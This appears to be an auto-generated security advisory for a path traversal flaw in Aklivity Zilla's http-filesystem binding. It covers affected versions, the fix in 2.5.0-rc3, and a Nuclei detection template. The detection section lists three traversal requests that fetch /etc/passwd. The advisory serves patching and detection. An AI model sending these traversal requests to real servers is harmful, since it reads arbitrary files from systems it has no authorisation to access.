CVE-2026-120324: Aklivity Zilla http-filesystem Binding FileSystemServerFactory Path.resolve path traversal
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-11 15:49 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
A weakness has been identified in Aklivity Zilla up to 1.3.4/2.4.7/2.5.0-rc2. The affected element is the function Path.resolve of the file FileSystemServerFactory of the component http-filesystem Binding. This manipulation of the argument params causes path traversal. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. Upgrading to version 2.5.0-rc3 is sufficient to fix this issue. Patch name: 46a8b15cbea157f7ae8b7cb865809a02fd6b1988. You should upgrade the affected component.
Description quoted from the CVE record (assigned by VulDB, published 2026-11-02).

How to detect it
Nuclei template (active check)
Aklivity Zilla http-filesystem Binding - Path Traversal
Aklivity Zilla up to 1.3.4/2.4.7/2.5.0-rc2 is affected by a path traversal in FileSystemServerFactory (Path.resolve of the request params) in the http-filesystem binding. A remote unauthenticated attacker can supply dot-dot sequences in the request path to escape the mapped directory and read arbitrary files from the server filesystem. This template sends raw (non-normalized) traversal requests and confirms the response contains the contents of /etc/passwd. Fixed in 2.5.0-rc3.
Name and description quoted from the template, written by VEDAS.
The template sends 3 requests (GET /files/../../../../../../../../etc/passwd, GET /../../../../../../../../etc/passwd, GET /read/../../../../../../../../etc/passwd); it decides using regex, status matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.
